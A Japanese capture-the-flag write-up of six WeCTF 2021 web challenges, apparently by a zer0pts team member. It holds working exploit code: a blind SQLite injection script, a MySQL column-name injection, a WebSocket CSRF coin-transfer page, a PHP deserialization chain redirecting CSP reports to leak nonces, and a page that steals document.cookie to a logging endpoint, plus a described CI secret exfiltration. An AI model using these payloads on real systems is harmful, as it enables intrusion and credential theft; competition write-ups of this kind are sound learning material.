6/20 - 6/21という日程で開催された。zer0ptsで参加して4位。ほぼWeb問オンリーという私好みのCTFだったし問題の質が高くて楽しかったけれども、PingとURL Binという難しめの問題が解けなかったのがつらい。
- 問題リポジトリ: wectf/2021
- [Web 50] GitHub (23 solves)
- [Web 143] Cache (65 solves)
- [Web 379] Coin Exchange (62 solves)
- [Web 592] Phish (110 solves)
- [Web 925] CloudTable (23 solves)
- [Web 994] CSP 2/3 (19 solves)
[Web 50] GitHub (23 solves)
GitHub Actionsで悪いことをするやつ。GitHubのユーザ名を入力すると、GitHub Actionsが導入されたプライベートリポジトリに招待される。リリース時に走るスクリプト (docker.yml
) とプルリクエスト時に走るスクリプト (pr.yml
) がある。
docker.yml
name: Publish Docker on: [release] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@master - name: Publish to Registry uses: elgohr/Publish-Docker-Github-Action@master with: name: wectfchall/poop username: ${{ secrets.DOCKER_USERNAME }} password: ${{ secrets.DOCKER_PASSWORD }}
pr.yml
name: Say Hi on: [pull_request] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Say Hi run: | echo "hi!!"
pr.yml
を書き換えるプルリクエストを送ると、その書き換えた後のスクリプトが実行されてしまう。ptr-yudaiさんが curl
で secrets.DOCKER_USERNAME
と secrets.DOCKER_PASSWORD
を抜き出し、このクレデンシャルでDocker Hubのレジストリにログインできることを確認していた。docker run --rm -it wectfchall/flag
でフラグ。
[Web 143] Cache (65 solves)
adminしか閲覧できない /flag
というエンドポイントがある。ただ、以下のように .css
.js
.html
という拡張子のページであれば10秒間キャッシュされる上に、/flag/hoge.css
というようなパスでも /flag
と同じコンテンツが返ってくる。これを使って、adminに /flag/hoge.css
をアクセスさせた後に急いで自分もアクセスすればフラグが得られる。
class SimpleMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request: HttpRequest): path = urllib.parse.urlparse(request.path).path if path in CACHE and CACHE[path][1] > time.time(): return CACHE[path][0] is_static = path.endswith(".css") or path.endswith(".js") or path.endswith(".html") response = self.get_response(request) if is_static: CACHE[path] = (response, time.time() + 10) return response
[Web 379] Coin Exchange (62 solves)
WebSocketでCSRF。
<script> let wait = t => new Promise(r => setTimeout(r, t)); let ws = new WebSocket('ws://coin.sg.ctf.so:4001/', "ethexchange-api"); ws.onopen = async () => { await wait(500); ws.send(JSON.stringify({ type: 'buy', content: { amount: "9999" } })); await wait(500); ws.send(JSON.stringify({ type: 'transfer', content: { amount: "4.5", to_token: "854a7fc3322dfdc20176eba89c432a8db1e0f3b0020b44bdaa8829bbddbde137" } })); }; </script>
[Web 592] Phish (110 solves)
SQLiteのSQLi問。INSERT
中でSQLiができるが、そのクエリの結果は成功したか失敗したかの1ビットでしか得られない。Error-basedにフラグを抜き出す。
import requests HOST = 'http://phish.ny.ctf.so/' def query(payload): r = requests.post(HOST + 'add', data={ 'username': payload, 'password': '' }) return 'integer overflow' in r.text i = 1 res = '' while True: c = 0 for j in range(7): r = query(f"'),('',abs(-9223372036854775807 - case when unicode(substr((select group_concat(password) from user where username = 'shou'), {i}, 1)) & {1 << j} then 1 else 0 end)) -- ") if r: c |= 1 << j res += chr(c) print(i, res) i += 1
[Web 925] CloudTable (23 solves)
MySQLのSQLi問。CREATE TABLE
中のカラム名でSQLiができる。MySQLでは CREATE TABLE … SELECT
構文が使えるので、これで information_schema.tables
からテーブル名を抜き出したり、フラグの格納されたテーブルからレコードを抜き出したりする。
その後に作成される権限の弱いユーザでは FILE
権限がなくてローカルファイルが読めない/書けないし、LOAD DATA INFILE
も使えないしで、最初のSQLiで抽出したデータを読むことぐらいしかできない。
reCAPTCHAの悪口を言いながら test` text) select flag from cloudtable.flag; #
という名前のカラムを持つテーブルを作成すると、そのレコードとしてフラグが入っている。
[Web 994] CSP 2/3 (19 solves)
単純なXSSのあるWebアプリケーションだが、default-src 'none'; script-src 'nonce-(ランダムに生成された文字列)'; …
というような感じの厳しいCSPがある。以下のような悪用してくれと言わんばかりのヤバいスクリプトがあるが、これを使うにはCSPの都合上 nonce
を特定する必要がある。
function add_js(filename, nonce) { var head = document.head; var script = document.createElement('script'); script.nonce = nonce; script.src = filename; head.appendChild(script); } window.onhashchange = () => {let query = window.location.hash.substr(1).split('@'); add_js(query[0], query[1])};
CSPを発行するコードを見ると、report_uri_string
というプロパティが report-uri
ディレクティブに挿入されていて怪しい。ここに自分の管理下にあるWebサーバのURLを挿入できれば、CSP違反のレポートから nonce
を抜き出せるはず。
(script-src
ディレクティブを report-uri
の後に挿入すれば unsafe-inline
を許可させられるのではないかと最初考えたが、重複するディレクティブが出現した場合には先に出現したものが優先され、後に出現したものは無視されるために無理っぽい)
<?php namespace ShouFramework; require_once "Typed.module"; class CSP extends Typed { public $report_uri_string; protected function construct() { $this->report_uri_string = '/report_csp'; } public function generate_nonce(){ $rand_val = sha1(uniqid("", true)); return base64_encode("$rand_val"); } public function add_csp($nonces){ $nonce = ""; foreach ($nonces as $_nonce) $nonce .= "'nonce-$_nonce' "; header("Content-Security-Policy: trusted-types 'none'; object-src 'none'; default-src 'none'; script-src $nonce; script-src-elem $nonce; script-src-attr $nonce; img-src 'self'; style-src $nonce;style-src-elem $nonce;style-src-attr $nonce; base-uri 'self'; report-uri $this->report_uri_string;"); } protected function destruct(){} }
index.php
を読むと unserialize
をそこら中で呼んでいてとてもInsecure Deserializationっぽい。特にこの UserData
のコンストラクタは user
というGETパラメータを unserialize
していて、容易に適当なオブジェクトを作れそう。
class UserData extends \ShouFramework\Typed { public $token_string; protected function construct() { if (isset($_GET["user"])) { $user = unserialize($_GET["user"]); if (get_class($user) != "UserData") \ShouFramework\shutdown(); $this->token_string = $user->token_string; } // unauthenticated request $this->token_string = uniqid("", true); return $this; } protected function destruct(){} }
ということで、まず unserialize
されると CatWithHashGet
を含む UserData
が作られる文字列を出力するスクリプトを書く。CatWithHashGet
はデストラクタが呼ばれると個別の記事ページが表示される。CatWithHashGet
の持つ csp_object
プロパティはCSPヘッダを発行するオブジェクトであり、これのプロパティをいじることで report-uri
が http://example.com/log.php
に書き換えられるようにしている。
index.php
<?php require 'csp.php'; class CatWithHashGet { public $user_object; function __construct() { $this->template_object = new \ShouFramework\Template; $this->csp_object = new \ShouFramework\CSP; } } class UserData { function __construct() { $this->a = new CatWithHashGet; $this->a->user_object = &$this; } } $obj = new UserData; echo str_replace(" ", "%20", serialize($obj)) . "\n";
csp.php
<?php namespace ShouFramework; class CSP { public function __construct() { $this->report_uri_string = "http://example.com/log.php"; } } class Template { }
$ php gen_serialized_object.php O:8:"UserData":1:{s:1:"a";O:14:"CatWithHashGet":3:{s:11:"user_object";r:1;s:15:"template_object";O:22:"ShouFramework\Template":0:{}s:10:"csp_object";O:17:"ShouFramework\CSP":1:{s:17:"report_uri_string";s:26:"http://example.com/log.php";}}}
出力された文字列にセミコロンを加えて (加えないと Program integrity violated
と表示されるのはなぜですか? Typed.module
がなんかチェックしていたのは知っていますが、なぜセミコロンを加えるとバイパスできるんですか?) http://csp2.sf.ctf.so/?method=post&hash=(記事のID)&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}}
にアクセスすると、無事 report-uri
が書き換わったページが表示された。
XSSの起こる <script>test</script>
というような内容の記事を投稿し、先程の report-uri
が書き換わるペイロードをその記事のURLに付け加えてアクセスすると、以下のようにCSP違反を報告するレポートが http://example.com/log.php
に送られる。これで log.php
側は nonce
を知ることができる。
これで最初のヤバいスクリプトを悪用する準備が整った。nonce
が届くと nonce.txt
に書き込む log.php
と、nonce.txt
が作成されれば #data:,(JavaScriptコード)@(特定したnonce)
を iframe
のURLに付け加える index.php
を用意する。index.php
を置いているURLを報告するとフラグが得られた。
index.php
<?php $hash = 'd113a7153458978273bbf83141b5737f7cf38342'; // <script>test</script> $url = "http://csp2.sf.ctf.so/?method=post&hash=$hash&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}}"; ?> <iframe src="<?= $url; ?>" id="iframe"></iframe> <script> let iframe = document.getElementById('iframe'); let id = setInterval(async () => { try { const a = await fetch('nonce.txt'); if (!a.ok) { return; } const nonce = await a.text(); console.log(nonce); clearInterval(id); iframe.src += '#data:,top.postMessage(document.cookie,"*")@' + nonce; } catch (e) { } }, 200); window.onmessage = e => { (new Image).src = 'log2.php?' + e.data; }; </script>
log.php
<?php $body = file_get_contents('php://input'); preg_match("/'nonce-(.+?)'/", $body, $matches); $nonce = $matches[1]; file_put_contents('nonce.txt', $nonce);